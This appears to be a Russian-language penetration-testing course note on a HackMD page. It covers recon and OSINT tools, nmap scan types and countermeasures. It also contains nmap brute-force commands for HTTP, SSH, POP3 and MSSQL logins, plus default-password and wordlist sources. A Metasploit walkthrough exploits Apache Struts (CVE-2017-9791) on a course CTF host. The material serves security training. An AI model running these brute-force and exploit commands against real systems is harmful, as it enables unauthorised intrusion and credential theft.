Ann13
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    ntensive-CSR-2 Тестирование на проникновение внешней и внутренней IT-инфраструктуры Какие цели ставит пентестер? Чем отличается работа по взлому корпоративной инфраструктуры от работ по анализу защищенности веб-приложений? Инструменты? Подход? Проводимые атаки Новые этапы: Исследование скоупа. Скоуп? Сканирование сети и сервисов Применение эксплойтов Атаки на инфраструктуру Windows Атаки Man in The Middle (MiTM) Анализ скоупа внешней инфраструктуры Входные данные Имя компании; Доменное имя; IP адрес(а); Цели Получить доменные имена второго и третьего уровней принадлежащие компании Получить IP адреса принадлежщие компании Получить адреса веб-приложений компании Собрать информацию об имеющихся публичных сервисах компании Процесс сбора информации Утилиты: host nslookup dig whois Информация из DNS: Record Type Description A Points to a host’s IP address MX Points to domain’s mail server NS Points to host’s name server CNAME Canonical naming allows aliases to a host SOA Indicate authority for a domain SRV Service records PTR Maps IP address to a hostname RP Responsible person HINFO Host information record includes CPU type and OS TXT Unstructured text records Онлайн-сервисы: https://www.shodan.io/host/ https://censys.io/ https://community.riskiq.com/ https://crt.sh https://pentest-tools.com/home http://google.com, bing.com,yandex.ru (inurl, site, filetype, cache, etc…) Инструменты: DNSrecon root@hackeru:~> dnsrecon -r 162.241.216.0-162.241.216.255 # Брут обратных записей по адресному пространству Amass root@hackeru:~> amass enum -brute -active -d example.com -ip -src -json example.com.out.json Recon-ng root@hackeru:~> recon-ng _/_/_/ _/_/_/_/ _/_/_/ _/_/_/ _/ _/ _/ _/ _/_/_/ _/ _/ _/ _/ _/ _/ _/_/ _/ _/_/ _/ _/ _/_/_/ _/_/_/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/ _/ _/ _/ _/_/_/ _/ _/ _/ _/ _/ _/ _/ _/_/ _/ _/_/ _/ _/ _/ _/ _/_/_/_/ _/_/_/ _/_/_/ _/ _/ _/ _/ _/_/_/ +---------------------------------------------------------------------------+ | _ ___ _ __ | | |_)| _ _|_ |_|.|| _ | _ |_ _ _ _ _ _|_o _ _ (_ _ _ _o_|_ | | |_)|(_|(_|\ | ||||_\ _|_| || (_)| |||(_| | |(_)| | __)(/_(_|_|| | | \/ | | / | | Consulting | Research | Development | Training | | http://www.blackhillsinfosec.com | +---------------------------------------------------------------------------+ [recon-ng v4.6.3, Tim Tomes (@LaNMaSteR53)] [71] Recon modules [7] Reporting modules [2] Import modules [2] Exploitation modules [2] Discovery modules [recon-ng][default] > use discovery/info_disclosure/interesting_files [recon-ng][default][interesting_files] > set SOURCE mi-al.ru SOURCE => mi-al.ru [recon-ng][default][interesting_files] > run [*] http://mi-al.ru:80/robots.txt => 200. 'robots.txt' found! [*] http://mi-al.ru:80/sitemap.xml => 301 [*] http://mi-al.ru:80/sitemap.xml.gz => 301 [*] http://mi-al.ru:80/crossdomain.xml => 301 [*] http://mi-al.ru:80/phpinfo.php => 301 [*] http://mi-al.ru:80/test.php => 301 [*] http://mi-al.ru:80/elmah.axd => 301 [*] http://mi-al.ru:80/server-status => 301 [*] http://mi-al.ru:80/jmx-console/ => 404 [*] http://mi-al.ru:80/admin-console/ => 404 [*] http://mi-al.ru:80/web-console/ => 404 [*] 1 interesting files found. [*] ...downloaded to '/root/.recon-ng/workspaces/default/' [recon-ng][default][interesting_files] > OSRFramework usufy.py - Проверка профиля пользователя на 290 различных платформах mailfy.py - Проверка существования заданной электронной почты searchfy.py - Выполнение запроса на платформах в OSRFramework domainfy.py - Проверка существования доменов phonefy.py - Проверка существования заданной серии телефонов entify.py - Использование регулярных выражений для извлечения объектов Контрмеры Разработать и внедрить политики безопасности для регулирования информации, которую сотрудники могут раскрывать третьим лицам. Разделите внутреннюю и внешнюю DNS или используйте раздельную DNS, и ограничьте передачу зоны на авторизованные серверы Отключить индексацию каталогов на веб-серверах Проводить периодические тренинги по повышению осведомленности в области безопасности для обучения сотрудников различным угрозам социальной инженерии и рискам. Подключить услуги по обеспечению конфиденциальности в базе данных Whois Lookup. Избегайте перекрестных ссылок на домены критически важных активов. Применяйтк шифрование и защиту паролем конфиденциальной информации Разместить важнейшие документы, такие как бизнес-планы и проприетарные документы, в автономном режиме для предотвращения кражи Обучение сотрудников методам социальной инженерии и борьбе с атаками. Санитизация данных, предоставляемых интернет-регистраторам, чтобы скрыть прямые контактные данные организации. Отключите функцию геотегов на камерах для предотвращения геолокационного слежения Убедитесь, что на досках объявлений или стенах не отображается критическая информация. Использовать методы “киберразведки” для обнаружения и удаления любой конфиденциальной информации, находящейся в открытом доступе. Исследование сервисов Nmap Docs: https://nmap.org/man/ru/ Пример использования: nmap -sT -sV -Pn -p1-1024 --open -v ctf.hackeru.pro Пример использования (Advanced): nmap -sS -sC -sV --version-all -T5 -Pn -n -p- --open -v -oA 1.1.1.1 8.8.8.8-16 Основные типы сканирования: TCP Connect/Full Open Scan (-sT) Half-open Scan (-sS) UDP Scanning (-sU) Все типы: TCP Scanning: Open TCP Scanning Methods: TCP Connect/Full Open Scan Stealth TCP Scanning Methods: Half-open Scan Inverse TCP Flag Scan: Xmas Scan FIN Scan NULL Scan Maimon Scan ACK Flag Probe Scan: TTL-Based Scan Window Scan Third Party and Spoofed TCP Scanning Methods: IDLE/IP ID Header Scan UDP Scanning: UDP Scanning SCTP Scanning: SCTP INIT Scanning SCTP COOKIE/ECHO Scanning SSDP Scanning: SSDP and List Scanning IPv6 Scanning: IPv6 Scanning Полезные ключи: -A - агрессивное сканирование -sV - определение версий ПО на TCP/UDP портах -sC - запуск скриптов -O - определение версий ОС --version-all (--version-intensity) - Устанавливает интенсивность работы функции (1-9, по умолчанию 7) -T0-5 - Временные задержки между запросами (Скорость сканирования) (Шаблоны для временных опций) -Pn - Не использовать пинг сканирование -sP - Пинг сканирование -PS - TCP SYN пингование (Поиск хостов по запросу к TCP) -n - Не производить обратное разрешение DNS имен -r - Производить разрешение DNS имен для всех целей -p1-65535 - указание диапазона портов для сканирования --open - отобразить в отчете только открытые порты -v/-vvv - уровень подробности отчета в ходе сканирования -oA/-oN/-oX - создание файла отчета (всех типов/только стандартного формата/XML формат) --script - запус отдельного скрипта NSE Nmap подсказки: # Regular: sudo nmap -R -Pn -sC -sV --version-all -T5 -p- --open -v -oN %y%m%d-target-name <target> # Fast Full Host Discovery: nmap --min-rate=400 --min-parallelism=512 -p22,445,3389,80,443 -Pn -R -PS -oA full <target> # Check HTTP Methods nmap --script=http-methods <target> -n -p 80 # HTTP Base Auth Brute: nmap --script http-brute -p 80 --script-args="[http-brute.hostname=<target>],http-brute.method=GET,http-brute.path=[/path],brute.firstonly=true,userdb=[Users.txt],passdb=[Passwords.txt]" -v --system-dns <target> # HTTP Auth Form Brute: sudo nmap --script http-form-brute -p 80 --script-args="[brute.firstonly=true],http-form-brute.path=[/path],http-form-brute.onfailure='Error message.',http-form-brute.passvar=[password],http-form-brute.uservar=[username],http-form-brute.method=POST,[brute.emptypass=true]" <target> # POP3 Brute: nmap -sV --script=pop3-brute --script-args='passdb=[file_with_pass],userdb=[file_with_names],brute.emptypass[,brute.firstonly][,brute.threads]' <target> # SMB Checks: nmap -p 139,445 --script smb-os-discovery,smb-enum-shares,smb-system-info <target> #smb-vuln-ms17-010 # SSH Brute: nmap -p 22 --script ssh-brute --script-args user=root,passdb=pass.lst --script-args ssh-brute.timeout=4s <target> # LDAP Search: nmap –script ldap-search –T4 –o nmap.ldap_search <target> # MSSQL Login: nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt <target> # SNMP Scan: nmap -P0 -v -sU -p 161 -oA snmp_scan <target> Проведение атак Подбор паролей Атаки “перебора по словарю” и “методом полного перебора” Словари: https://weakpass.com/ https://github.com/danielmiessler/SecLists/tree/master/Passwords Инструменты: Patator thc-Hydra Burp Suite Intruder Поиск паролей по умолчанию: https://www.fortypoundhead.com/tools_dpw.asp https://cirt.net/passwords http://www.defaultpassword.us https://default-password.info http://open-sez.me Эксплуатация уязвимостей Краткая памятка: То, что может сделать с информацией атакующий, называется угрозой (threat); То, благодаря чему он может это сделать, называется уязвимостью (vulnerability), обусловленной недостатком (weakness) То, как он может это сделать, называется атакой (attack) То, с какой вероятностью у него это удастся и какие последствия может повлечь, называется риском (risk) То, что не позволяет атакующему провести атаку, обеспечивает защищенность (security) То, что минимизирует риск, обеспечивает безопасность (safety) Уязвимости CVE - https://cve.mitre.org/ CWE - https://cwe.mitre.org/ Эксплуатация Exploit - компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему. Metasploit Framework - удобная платформа для создания и отладки эксплойтов. Payload - “полезная нагрузка”, которая выполнится после эксплуатации уязвимости Meterpreter - является продвинутой, динамически расширяемой полезной нагрузкой, которая использует in-memory DLL-injection стейджеры Цель: http://ctf.hackeru.pro:21337/showcase.action Где можно искать эксплоиты SecurityFocus ExploitDB VulDB MITRE CVE Настройка эксплоита struts2_code_exec_showcase Команды настройки msfconsole для (CVE-2017-9791)(Команды bash): msfconsole search struts showcase use exploit/multi/http/struts2_code_exec_showcase info options set RHOSTS ctf.hackeru.pro set RPORT 21337 set TARGETURI /integration/saveGangster.action set PAYLOAD cmd/unix/generic set CMD 'cat /flag' check exploit Поднять стенд в докере: root@hackeru:~> docker run -it --rm -p 21337:8080 --volume $(pwd)/flag:/flag --name struts piesecurity/apache-struts2-cve-2017-5638 Дополнительно Методики проведения тестирования на проникновение: Penetration Testing Execution Standard (PTES); NIST Special Publications 800-115 Technical Guide to Information Security Testing and Assessment; Open Source Security Testing Methodology Manual (OSSTMM); Information Systems Security Assessment Framework (ISSAF); Web Application Security Consortium (WASC) Threat Classification; Open Web Application Security Project (OWASP) Testing Guide; Payment Card Industry Data Security Standard (PCI DSS); Стандарты Center for Internet Security (CIS); Common Vulnerability Scoring System (CVSS). Телеграм каналы связанные с темой ИБ: https://t.me/YAH_Channel/191 https://t.me/ExcreamOnSecurity RoadMap: https://t.me/YAH_Channel/378

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully